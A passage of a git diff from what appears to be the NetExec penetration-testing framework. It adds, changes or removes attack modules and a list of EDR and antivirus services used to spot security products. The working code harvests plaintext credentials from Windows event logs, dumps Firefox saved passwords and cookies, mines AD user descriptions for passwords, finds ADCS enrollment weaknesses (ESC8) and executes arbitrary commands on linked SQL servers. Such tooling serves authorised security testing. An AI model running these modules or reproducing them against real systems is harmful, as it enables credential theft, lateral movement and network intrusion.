{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": " Cortex XDR"}
],
"pipes": []
},
{
"name": "Cybereason",
"services": [
@@ -269,10 +261,7 @@ conf = {
{"name": "epfw", "description": "ESET"},
{"name": "epfwlwf", "description": "ESET"},
{"name": "epfwwfp", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET Management Agent service"},
{"name": "ERAAgent", "description": "ESET Management Agent service"},
{"name": "efwd", "description": "ESET Communication Forwarding Service"},
{"name": "ehttpsrv", "description": "ESET HTTP Server"},
{"name": "EraAgentSvc", "description": "ESET"},
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
@@ -287,14 +276,6 @@ conf = {
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
]
},
{
"name": "Ivanti Security",
"services": [
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
],
"pipes": []
},
{
"name": "Kaspersky Security for Windows Server",
"services": [
@@ -341,11 +322,6 @@ conf = {
],
"pipes": []
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "Sophos Intercept X",
"services": [
@@ -366,27 +342,6 @@ conf = {
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
{"name": "mfemactl", "description": "Trellix Management Service"},
{"name": "mfemms", "description": "McAfee Management Service"},
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
]
},
{
"name": "Trend Micro Endpoint Security",
"services": [
@@ -395,10 +350,7 @@ conf = {
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
{"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
{"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
{"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
],
"pipes": [
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
-107
View File
@@ -1,107 +0,0 @@
from impacket.dcerpc.v5 import transport, epm
from impacket.http import AUTH_NTLM
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
class NXCModule:
"""
-------
Module by @0xjbb, original code from Impacket rpcdump.py
"""
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
593: {"bindstr": r"ncacn_http:%s"}
}
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.__username = connection.username
self.__password = connection.password
self.__domain = connection.domain
self.__lmhash = ""
self.__nthash = ""
self.__port = 135.
self.__stringbinding = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
if self.__port in [139, 445]:
# Setting credentials for SMB
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.__port)
elif self.__port == 443:
# Setting credentials only for RPC Proxy, but not for the MSRPC level
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
rpctransport.setRemoteHost(connection.host)
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
RPC_PROXY_CONN_A1_404_ERR in error_text or \
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
context.log.debug(f"EXEs {exename}")
if exename == "certsrv.exe":
context.log.highlight("Active Directory Certificate Services Found.")
url = f"http://{connection.host}/certsrv/certfnsh.asp"
context.log.highlight(url)
try:
response = requests.get(url, timeout=5)
if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
context.log.highlight("Web enrollment found on HTTP (ESC8).")
except requests.RequestException as e:
context.log.debug(e)
return
def __fetchList(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp
+5 -4
View File
@@ -1,6 +1,5 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.paths import NXC_PATH
class NXCModule:
@@ -12,6 +11,8 @@ class NXCModule:
name = "enum_dns"
description = "Uses WMI to dump DNS from an AD DNS Server"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -33,7 +34,7 @@ class NXCModule:
else:
domains = [self.domains]
data = ""
for domain in domains:
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
@@ -49,7 +50,7 @@ class NXCModule:
rname = text.split(" ")[0]
rtype = text.split(" ")[2]
rvalue = " ".join(text.split(" ")[3:])
if domain_data.get(rtype):
if domain_data.get(rtype, False):
domain_data[rtype].append(f"{rname}: {rvalue}")
else:
domain_data[rtype] = [f"{rname}: {rvalue}"]
@@ -63,4 +64,4 @@ class NXCModule:
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(data, log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
-45
View File
@@ -1,45 +0,0 @@
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
Module by deathflamingo
"""
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
impersonate_users = self.get_impersonate_users()
if impersonate_users:
self.context.log.success("Users with impersonation rights:")
for user in impersonate_users:
self.context.log.display(f" - {user}")
else:
self.context.log.fail("No users with impersonation rights found.")
def get_impersonate_users(self) -> list:
"""
Fetches a list of users with impersonation rights.
Returns
-------
list: List of user names.
"""
query = """
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name LIKE 'IMPERSONATE%'
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
-51
View File
@@ -1,51 +0,0 @@
class NXCModule:
"""
Enumerate SQL Server linked servers
Module by deathflamingo, NeffIsBack
"""
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
linked_servers = self.get_linked_servers()
if linked_servers:
self.context.log.success("Linked servers found:")
for server in linked_servers:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
def get_linked_servers(self) -> list:
"""
Fetches a list of linked servers.
Returns
-------
list: List of linked server names.
"""
query = "EXEC sp_linkedservers;"
res = self.mssql_conn.sql_query(query)
return [server["SRV_NAME"] for server in res] if res else []
-83
View File
@@ -1,83 +0,0 @@
class NXCModule:
"""
Enumerate SQL Server logins (SQL, Domain, Local users)
Module by deathflamingo, modified by mpgn
"""
name = "enum_logins"
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.display("Enumerated logins")
self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
for login_name, login_type, status in logins:
self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
else:
self.context.log.fail("No logins found.")
def get_domain_name(self) -> str:
query = "SELECT DEFAULT_DOMAIN() as domain_name;"
try:
res = self.mssql_conn.sql_query(query)
if res and res[0].get("domain_name"):
return res[0]["domain_name"].upper()
return ""
except Exception as e:
self.context.log.debug(f"Error querying domain name: {e}")
return ""
def get_logins(self) -> list:
domain_name = self.get_domain_name()
domain_prefix = f"{domain_name}\\" if domain_name else ""
query = f"""
SELECT
name,
type,
type_desc,
CASE type_desc
WHEN 'SQL_LOGIN' THEN 'SQL User'
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
WHEN name LIKE '%\\%' THEN 'Local User'
ELSE 'Local User'
END
WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
ELSE type_desc
END as login_type,
is_disabled,
create_date
FROM sys.server_principals
WHERE type IN ('S', 'U', 'G', 'C', 'K')
AND name NOT LIKE '##%'
ORDER BY login_type, name;
"""
try:
res = self.mssql_conn.sql_query(query)
if res:
logins = []
for login in res:
status = "DISABLED" if login.get("is_disabled") else "ENABLED"
logins.append((login["name"], login["login_type"], status))
return logins
return []
except Exception as e:
self.context.log.fail(f"Error querying logins: {e}")
return []
def options(self, context, module_options):
pass
-17
View File
@@ -1,17 +0,0 @@
class NXCModule:
"""
Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
Module by Brandon Fisher @shad0wcntr0ller
"""
name = "enum_trusts"
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
supported_protocols = ["ldap"]
def options(self, context, module_options):
pass
def on_login(self, context, connection):
context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")
-222
View File
@@ -1,222 +0,0 @@
import re
from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
class NXCModule:
"""
Module by @lodos2005
This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
"""
name = "eventlog_creds"
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
def __init__(self):
self.context = None
self.module_options = None
self.method = "execute"
self.limit = None
def options(self, context, module_options):
"""
METHOD EventLog method (Execute or RPCCALL), default: execute
M Alias for METHOD
LIMIT Limit of the number of records to be fetched, default: unlimited
L Alias for LIMIT
"""
if "METHOD" in module_options:
self.method = module_options["METHOD"]
if "M" in module_options:
self.method = module_options["M"]
if "LIMIT" in module_options:
self.limit = int(module_options["LIMIT"])
if "L" in module_options:
self.limit = int(module_options["L"])
def find_credentials(self, content, context):
# remove unnecessary words
content = content.replace("\r\n", "\n")
# sort and unique lines
content = "\n".join(sorted(set(content.split("\n"))))
regexps = [
# "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
# wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
# psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
# generic username on command line
r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
# generic password on command line
r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
]
# Extracting credentials
for line in content.split("\n"):
for reg in regexps:
# Remove unnecessary words
line_stripped = line.replace("/add", "") \
.replace("/active:yes", "") \
.replace("/delete", "") \
.replace("/domain", "") \
# Remove command lines that were executed with nxc
line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
# Use regex to find credentials
match = re.search(reg, line_stripped, re.IGNORECASE)
if match:
# eleminate false positives
# C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
# if password is found but username is not found, and password is shorter than 6 characters, ignore it
continue
if not match.groupdict().get("password") and match.groupdict().get("username"):
# if username is found but password is not found. we need? ignore it
continue
# C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
# if username and password is shorter than 6 characters, ignore it
continue
context.log.highlight("Credentials found! " + line.strip())
if match.groupdict().get("username"):
context.log.highlight("Username: " + match.group("username"))
if match.groupdict().get("password"):
context.log.highlight("Password: " + match.group("password"))
break
def on_admin_login(self, context, connection):
content = ""
if self.method.lower().startswith("e"):
limit_str = f"/c:{self.limit}" if self.limit is not None else ""
# https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
commands = [
f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
]
for command in commands:
context.log.debug("Execute Command: " + command)
content += connection.execute(command, True)
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="eventlog"
)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
try:
xmlString = ResultSet(record).xml()
regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
match = re.search(regexp, xmlString, re.IGNORECASE)
if match and match.groupdict().get("CommandLine"):
content += "CommandLine: " + match.group("CommandLine") + "\n"
except Exception as e:
context.log.error(f"Error: {e}")
self.find_credentials(content, context)
class MSEven6Trigger:
def __init__(self, context):
self.context = context
self.dce = None
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
self.dce = rpctransport.get_dce_rpc()
if doKerberos:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
try:
self.dce.bind(even6.MSRPC_UUID_EVEN6)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
self.context.log.debug("[+] Successfully bound!")
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
req["Path"] = path + "\x00"
req["Query"] = query + "\x00"
req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
resp = self.dce.request(req)
handle = resp["Handle"]
return MSEven6Result(self, handle, limit)
class MSEven6Result:
def __init__(self, conn, handle, limit=None):
self._conn = conn
self._handle = handle
self._hardlimit = limit
def __iter__(self):
self._resp = None
return self
def __next__(self):
if self._hardlimit is not None:
self._hardlimit -= 1
if self._hardlimit < 0:
raise StopIteration
if self._resp is not None and self._resp["NumActualRecords"] == 0:
raise StopIteration
if self._resp is None or self._index == self._resp["NumActualRecords"]:
req = even6.EvtRpcQueryNext()
req["LogQuery"] = self._handle
req["NumRequestedRecords"] = 100
req["TimeOutEnd"] = 1000
req["Flags"] = 0
self._resp = self._conn.dce.request(req)
if self._resp["NumActualRecords"] == 0:
return None
else:
self._index = 0
offset = self._resp["EventDataIndices"][self._index]["Data"]
size = self._resp["EventDataSizes"][self._index]["Data"]
self._index += 1
return b"".join(self._resp["ResultBuffer"][offset:offset + size])
+20 -3
View File
@@ -9,10 +9,12 @@ class NXCModule:
name = "example module"
description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self):
self.context = None
self.module_options = None
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""Required.
@@ -46,3 +48,18 @@ class NXCModule:
Required if on_login is not present
This gets called on each authenticated connection with Administrative privileges
"""
def on_request(self, context, request):
"""Optional.
If the payload needs to retrieve additional files, add this function to the module
"""
def on_response(self, context, response):
"""Optional.
If the payload sends back its output to our server, add this function to the module to handle its output
"""
def on_shutdown(self, context, connection):
"""Optional.
Do something on shutdown
"""
-40
View File
@@ -1,40 +0,0 @@
class NXCModule:
"""
Execute commands on linked servers
Module by deathflamingo
"""
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
LINKED_SERVER: The name of the linked server to execute the command on.
COMMAND: The command to execute on the linked server.
"""
if "LINKED_SERVER" in module_options:
self.linked_server = module_options["LINKED_SERVER"]
if "COMMAND" in module_options:
self.command = module_options["COMMAND"]
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
return
self.execute_on_link()
def execute_on_link(self):
"""Executes the specified command on the linked server."""
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
result = self.mssql_conn.sql_query(query)
self.context.log.display(f"Command output: {result}")
+15 -13
View File
@@ -1,3 +1,4 @@
import socket
from nxc.logger import nxc_logger
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
@@ -15,14 +16,15 @@ class NXCModule:
name = "find-computer"
description = "Finds computers in the domain via the provided text"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
TEXT Search TEXT in the operating system or name of the computer.
Examples:
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
find-computer: Specify find-computer to call the module
TEXT: Specify the TEXT option to enter your text to search for
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
"""
self.TEXT = ""
@@ -33,11 +35,11 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
@@ -67,12 +69,12 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found the following computers: ")
for answer in answers:
resolv = connection.resolver(answer[0])
if resolv:
context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
context.log.debug("IP found via DNS query")
else:
context.log.debug(f"No DNS response for {answer[0]}")
try:
ip = socket.gethostbyname(answer[0])
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
context.log.debug("IP found")
except socket.gaierror:
context.log.debug("Missing IP")
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
else:
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
+17 -29
View File
@@ -1,5 +1,5 @@
from dploot.lib.target import Target
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.protocols.smb.firefox import FirefoxTriage
class NXCModule:
@@ -10,22 +10,16 @@ class NXCModule:
"""
name = "firefox"
description = "[REMOVED] Dump credentials from Firefox"
description = "Dump credentials from Firefox"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
[REMOVED] use the --dpapi flag instead of the module firefox.
COOKIES Get also Firefox cookies
"""
self.gather_cookies = "COOKIES" in module_options
"""Dump credentials from Firefox"""
def on_admin_login(self, context, connection):
context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
return
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
@@ -47,25 +41,19 @@ class NXCModule:
use_kcache=use_kcache,
)
def firefox_callback(secret):
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
context.db.add_dpapi_secrets(
target.address,
"FIREFOX",
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
firefox_triage = FirefoxTriage(target=target, logger=context.log)
firefox_triage.upgrade_connection(connection=connection.conn)
firefox_triage.run(gather_cookies=self.gather_cookies)
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight(
"[{}][FIREFOX] {} {}:{}".format(
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
credential.password,
)
)
except Exception as e:
context.log.debug(f"Error while looting firefox: {e}")
+23 -12
View File
@@ -1,7 +1,7 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import re
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -13,6 +13,8 @@ class NXCModule:
name = "get-desc-users"
description = "Get description of the users. May contained password"
supported_protocols = ["ldap"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
@@ -29,7 +31,7 @@ class NXCModule:
self.MINLENGTH = module_options["MINLENGTH"]
if "PASSWORDPOLICY" in module_options:
self.PASSWORDPOLICY = True
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -38,7 +40,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
@@ -53,10 +55,24 @@ class NXCModule:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
description = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "description":
description = attribute["vals"][0]
if sAMAccountName != "" and description != "":
answers.append([sAMAccountName, description])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
answers = self.filter_answer(context, answers)
if len(answers) > 0:
context.log.success("Found following users: ")
@@ -86,11 +102,6 @@ class NXCModule:
if self.regex.search(description):
conditionPasswordPolicy = True
if conditionFilter and not self.PASSWORDPOLICY:
context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
answersFiltered.append([answer[0], description])
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
